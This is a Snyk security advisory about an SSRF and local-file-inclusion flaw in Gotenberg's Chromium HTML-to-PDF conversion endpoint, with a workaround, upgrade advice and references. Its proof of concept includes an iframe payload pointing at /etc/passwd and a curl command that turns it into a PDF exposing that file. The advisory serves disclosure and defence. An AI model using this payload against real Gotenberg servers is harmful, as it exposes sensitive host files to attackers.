SNYK-GOLANG-GITHUBCOMGOTENBERGGOTENBERGV8PKGMODULESCHROMIUM-7537082

Record from snyk · Published July 18, 2024

github.com/gotenberg/gotenberg/v8/pkg/modules/chromium is fixed in 8.1.0 (Go Modules)

## Overview Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the `/convert/html` endpoint when a request is made to a file via localhost, such as `<iframe src="\\localhost/etc/passwd">`. By exploiting this vulnerability, an attacker can achieve local file inclusion, allowing of sensitive files read on the host system. ## Workaround An alternative is using either or both `--chromium-deny-list` and `--chromium-allow-list` flags. ## PoC 1. Start Gotenberg: ``` docker run --rm -p 3000:3000 gotenberg/gotenberg:8.0.3 gotenberg ``` 2. Create an index.html file with the following contents: ``` <body> <iframe src="\\localhost/etc/passwd"> </body> ``` 3. Convert index.html to PDF: ``` curl -v \ --request POST 'http://localhost:3000/forms/chromium/convert/html' \ --form 'files=@"index.html"' -o output.pdf ``` 4. Open `output.pdf`, it will include the contents of `/etc/passwd`. ## Remediation Upgrade `github.com/gotenberg/gotenberg/v8/pkg/modules/chromium` to version 8.1.0 or higher. ## References - [GitHub Commit](https://github.com/gotenberg/gotenberg/commit/ad152e62e5124b673099a9103eb6e7f933771794) - [GitHub Gist](https://gist.github.com/filipochnik/bc88a3d1cc17c07cec391ee98e1e6356) - [GitHub Release](https://github.com/gotenberg/gotenberg/releases/tag/v8.1.0)